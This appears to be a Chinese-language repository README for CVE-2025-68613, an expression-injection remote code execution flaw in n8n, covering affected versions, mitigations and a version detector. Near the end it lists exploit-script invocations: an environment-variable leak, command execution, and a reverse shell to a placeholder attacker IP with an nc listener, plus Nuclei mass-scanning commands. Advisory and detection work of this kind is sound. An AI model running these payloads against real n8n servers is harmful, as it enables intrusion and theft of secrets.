🚨 CVE-2025-68613 — n8n 中的严重 RCE 漏洞

严重性： 🔴 严重 影响： 远程代码执行 受影响平台： n8n（工作流自动化）

🧩 概述

CVE-2025-68613 是 n8n（一个开源工作流自动化平台）中的一个严重安全漏洞。 该问题允许经过身份验证的攻击者通过滥用工作流表达式的求值方式，在服务器上执行任意代码。

🎯 漏洞详情

• 类型： 表达式注入 → 远程代码执行
• CWE： CWE-913 — 对动态管理的代码资源的控制不当
• 攻击向量： 网络
• 所需权限： 低（已认证用户）
• 用户交互： 无
• 影响范围： 已更改

💥 为什么危险： 恶意表达式在没有适当沙箱隔离的上下文中被求值，从而允许访问底层运行时。

🧨 潜在影响

如果被利用，攻击者可以：

• 🖥️ 执行任意系统命令
• 🔐 窃取凭据、令牌和机密
• 🧬 修改或植入后门到工作流
• 📤 外传敏感数据
• 💣 完全攻陷 n8n 主机

攻击以与 n8n 服务相同的权限运行，从而放大了其影响。

📊 严重性指标

➡️ 需要认证，但无需管理员访问权限。

🧪 受影响版本

🚫 存在漏洞：

• 0.211.0 → 1.120.3
• 1.121.0

✅ 已修复：

• 1.120.4
• 1.121.1
• 1.122.0 及更高版本

🛠️ 修复与缓解措施

✅ 建议方案（最佳选择）

• 立即升级到已修复版本

⚠️ 临时风险缓解

（并不能完全消除漏洞）

• 将工作流的创建/编辑权限限制为仅限受信任用户
• 以最小操作系统权限运行 n8n
• 隔离服务（容器、虚拟机、受限文件系统）
• 限制网络暴露（VPN、防火墙规则）
• 启用日志记录并监控工作流变更

🧠 快速参考

✅ CVE-2025-68613.py — 远程版本与暴露检测器（安全）

🧪 示例用法

sudo python3 CVE-2025-68613.py -u http://127.0.0.1:5678

示例输出

[+] Target: http://127.0.0.1:5678
[+] Possible n8n detected at /
[+] Detected version: 1.120.2

--- Result ---
🚨 VULNERABLE
Target version is affected by CVE-2025-68613

如何运行此脚本？

1. 下载并安装 Nuclei。
2. 将此仓库克隆到本地系统。
3. 运行以下命令：

┌──(kali㉿kali)-[~]
└─$ sudo nuclei -t CVE-2025-68613.yaml -u http://targets:5678

或者，如果你想扫描一批主机，请执行：

┌──(kali㉿kali)-[~]
└─$ sudo nuclei -t CVE-2025-68613.yaml -l targets.txt

示例输出

用法示例：

• 泄露环境变量：
  python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload env_leak

• 获取用户信息：
  python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload id

• 反弹 Shell（先启动监听器：nc -lvnp 4444）：
  python3 CVE-2025-68613-exploit.py --url https://target-n8n.com --api_key YOUR_API_KEY --payload reverse_shell --attacker_ip YOUR_IP --attacker_port 4444

此脚本仅用于对您拥有或获得明确测试许可的系统进行授权安全测试。

⚠️ 免责声明 ⚠️

🔒 此脚本是 n8n 中 CVE-2025-68613 的**概念验证（PoC）**利用程序。

📚 它仅用于教育目的和授权安全测试。

🛡️ 请仅在您拥有、控制或拥有明确书面许可的系统上使用。

🚫 针对任何系统的未经授权使用都是非法的，并可能违反法律（例如计算机欺诈和滥用法案）。

❌ 作者及任何相关方对误用、损害或法律后果不承担任何责任。

✅ 请负责任地、合乎道德地使用，并完全遵守所有适用法律法规。

🔐 如果进行渗透测试，请确保已获得适当授权（例如《交战规则》）。

🛠️ 安全研究人员可以使用此程序来验证漏洞并鼓励及时修补。